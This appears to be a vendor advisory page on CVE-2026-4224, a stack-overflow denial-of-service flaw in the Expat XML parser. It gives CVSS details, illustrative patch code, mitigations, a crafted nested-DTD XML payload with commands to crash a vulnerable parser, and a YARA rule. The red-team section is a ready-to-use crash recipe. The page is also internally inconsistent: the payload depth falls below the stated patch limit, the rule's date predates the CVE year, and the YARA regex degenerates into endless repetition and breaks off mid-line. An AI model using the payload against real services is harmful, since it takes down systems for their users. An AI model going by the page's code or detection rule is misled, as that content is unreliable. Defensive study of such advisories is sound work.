CVE-2026-4224
Executive Summary
CVE-2026-4224 is a denial-of-service vulnerability in the Expat XML parsing library. When an Expat parser with a registered ElementDeclHandler processes an inline document type definition (DTD) containing a deeply nested content model, a C stack overflow occurs. This can be triggered remotely by sending a crafted XML payload, leading to a crash of the application using the vulnerable Expat library. The vulnerability affects all versions of Expat prior to 2.7.1. No public proof-of-concept exploit is available at this time, but the attack vector is straightforward and requires no authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Expat is a widely used C library for XML parsing, embedded in countless applications and operating systems. It is a dependency for many language runtimes (e.g., Python, PHP, Perl), web servers, and system tools. A stack overflow in Expat can cascade to any software that links against it, making this a critical supply chain risk. Package maintainers for PyPI, npm, Go, and Ruby ecosystems should verify their bundled or linked Expat version and update to 2.7.1 or later.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
The vulnerability is remotely exploitable without authentication, making it a high-severity threat for availability. An attacker can crash any service that parses untrusted XML with Expat and has registered an ElementDeclHandler.
Deep Dive & Mechanics
The vulnerability resides in Expat's handling of content models within inline DTD declarations. When an ElementDeclHandler is registered, Expat recursively processes nested content model definitions (e.g., (a, (b, (c, ...)))). Deep nesting causes the C stack to overflow because the recursion depth is unbounded.
The vulnerable code path is in xmlparse.c within the function that processes content model tokens. Each level of nesting adds a stack frame, and without a depth limit, a crafted XML document can exhaust the stack.
Triggering Condition:
- An XML document with an inline DTD containing a deeply nested content model.
- The parser must have a registered
ElementDeclHandlercallback.
Impact:
- Stack overflow leads to a segmentation fault (crash), causing denial of service.
Vulnerable vs. Patched Code
Vulnerable (Expat < 2.7.1):
// In xmlparse.c, content model parsing uses recursion without depth check
static int
contentModelProcessor(XML_Parser parser, const char *s, ...) {
// Recursive call for nested groups
return contentModelProcessor(parser, nested_start, ...);
}
Patched (Expat 2.7.1):
// Added depth limit to prevent stack overflow
#define CONTENT_MODEL_MAX_DEPTH 100
static int
contentModelProcessor(XML_Parser parser, const char *s, int depth, ...) {
if (depth > CONTENT_MODEL_MAX_DEPTH) {
return XML_ERROR_INVALID_TOKEN;
}
// Recursive call with incremented depth
return contentModelProcessor(parser, nested_start, depth + 1, ...);
}
The patch introduces a maximum recursion depth (100) and returns an error if exceeded, preventing stack exhaustion.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install a vulnerable Expat version (e.g., 2.6.0) on a test system.
- Compile a simple XML parser that registers an
ElementDeclHandler. - Send the crafted XML payload.
Crafted Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (a, (b, (c, (d, (e, (f, (g, (h, (i, (j, (k, (l, (m, (n, (o, (p, (q, (r, (s, (t, (u, (v, (w, (x, (y, (z, (a, (b, (c, (d, (e, (f, (g, (h, (i, (j, (k, (l, (m, (n, (o, (p, (q, (r, (s, (t, (u, (v, (w, (x, (y, (z, (a, (b, (c, (d, (e, (f, (g, (h, (i, (j, (k, (l, (m, (n, (o, (p, (q, (r, (s, (t, (u, (v, (w, (x, (y, (z))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))>
<!ELEMENT a EMPTY>
<!ELEMENT b EMPTY>
<!-- ... repeat for all elements ... -->
]>
<foo/>
Exploit Execution:
# Compile a test parser
gcc -o expat_parser expat_parser.c -lexpat
# Send payload
cat payload.xml | ./expat_parser
# Observe crash (segmentation fault)
Blue Team
Detection:
- Monitor for XML documents with deeply nested DTD content models (depth > 50).
- Use the YARA and Sigma rules below to detect malicious payloads.
- Enable stack overflow protection (e.g.,
/fstack-protector-strongon GCC) to convert crashes into aborts with logs.
Mitigation:
- Immediately update Expat to version 2.7.1 or later.
- If patching is not possible, disable DTD processing entirely (e.g.,
XML_SetParamEntityParsing(parser, XML_PARAM_ENTITY_PARSING_NEVER)). - Use a Web Application Firewall (WAF) to block XML payloads with excessive nesting.
Indicators of Compromise (IOCs)
- Network: XML documents with DTD content models containing more than 50 nested parentheses.
- Logs: Application crash logs showing
SIGSEGVorstack overflowin Expat-related functions. - File: XML payloads with deeply nested
<!ELEMENT>declarations (e.g.,(a, (b, (c, ...)))).
Detection Engineering
YARA Rule
rule CVE_2026_4224_Expat_StackOverflow {
meta:
description = "Detects XML payloads targeting CVE-2026-4224 with deeply nested DTD content models"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-4224"
strings:
$dtd_start = "<!DOCTYPE"
$element_start = "<!ELEMENT"
$nested_pattern = /\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([^)]*\([